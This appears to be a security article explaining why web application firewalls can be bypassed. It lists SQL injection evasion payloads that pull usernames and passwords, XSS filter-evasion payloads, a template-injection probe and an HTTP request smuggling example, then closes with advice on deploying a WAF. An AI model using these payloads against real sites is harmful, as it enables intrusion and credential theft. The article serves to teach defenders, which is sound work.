WAF Bypass Techniques: Why Your Web Application Firewall Is Not Enough

A web application firewall inspects HTTP traffic and blocks requests that match known attack signatures. In theory, this adds a layer of protection between attackers and your application. In practice, WAFs have a well-documented bypass problem: their signature-based detection can be circumvented by payload obfuscation, encoding tricks, and protocol-level techniques that the WAF vendor has not yet seen. Understanding this does not mean WAFs are worthless. It means you need to understand exactly what they protect against and what they do not.

SQL Injection Bypass Techniques

# Standard UNION injection (typically blocked by WAF)
' UNION SELECT username,password FROM users--

# Case variation (effective against case-sensitive signatures)
' uNiOn SeLeCt username,password FrOm users--

# Comment insertion (breaks keyword matching)
' UN/**/ION SEL/**/ECT username,password FROM users--

# URL encoding (may be decoded differently by WAF vs application)
' %55NION %53ELECT username,password FROM users--

# HTTP parameter pollution (send same param twice)
?id=1&id=1 UNION SELECT username,password FROM users--

# Charset encoding tricks (application processes UTF-16, WAF inspects UTF-8)
Content-Type: application/x-www-form-urlencoded; charset=UTF-16

# Whitespace alternatives (tab, newline, vertical tab)
'%09UNION%09SELECT%09username,password%09FROM%09users--

XSS Bypass Techniques

<!-- Standard XSS (typically blocked) -->
<script>alert(1)</script>

<!-- SVG-based (bypasses script-tag filters) -->
<svg/onload=alert(1)>

<!-- Event handler in unusual tags -->
<details/open/ontoggle=alert(1)>

<!-- JavaScript URI (bypasses tag-focused rules) -->
<a href="javascript:alert(1)">click</a>

<!-- Encoding variations -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">

<!-- Template injection when templating engine is present -->
{{7*7}}
49

Protocol-Level Bypasses

Some bypass techniques operate at the HTTP protocol layer rather than the payload layer. HTTP request smuggling exploits ambiguities in how front-end proxies (including WAFs) and back-end servers parse Content-Length and Transfer-Encoding headers. A carefully constructed request can cause the WAF to see a benign request while the backend server processes a malicious one.

# HTTP Request Smuggling (CL.TE variant)
# WAF sees POST with Content-Length 6 (reads "0\r\n\r\n" as body)
# Backend sees chunked encoding and processes the smuggled request

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

What Good WAF Deployment Looks Like

• --Run in detection mode first. Deploy the WAF in logging-only mode for two weeks to identify false positives before enabling blocking. Blocking without tuning creates outages.
• --Use managed rule sets as a baseline, not the complete rule set. Vendor-managed rules (AWS Managed Rules, Cloudflare Managed Ruleset) are updated faster than custom rules.
• --Enable rate limiting and bot management as a separate layer. These are more reliable than signature matching for high-volume attacks.
• --Log every blocked request. Bypass attempts are intelligence about what attackers are trying. That data is valuable.
• --Do not use WAF as a substitute for fixing the underlying vulnerability. The WAF blocks today's bypass. The next bypass technique may not be blocked yet.
• --Ensure the WAF is the only path to your origin. A WAF that can be bypassed by direct-to-origin requests protects nothing.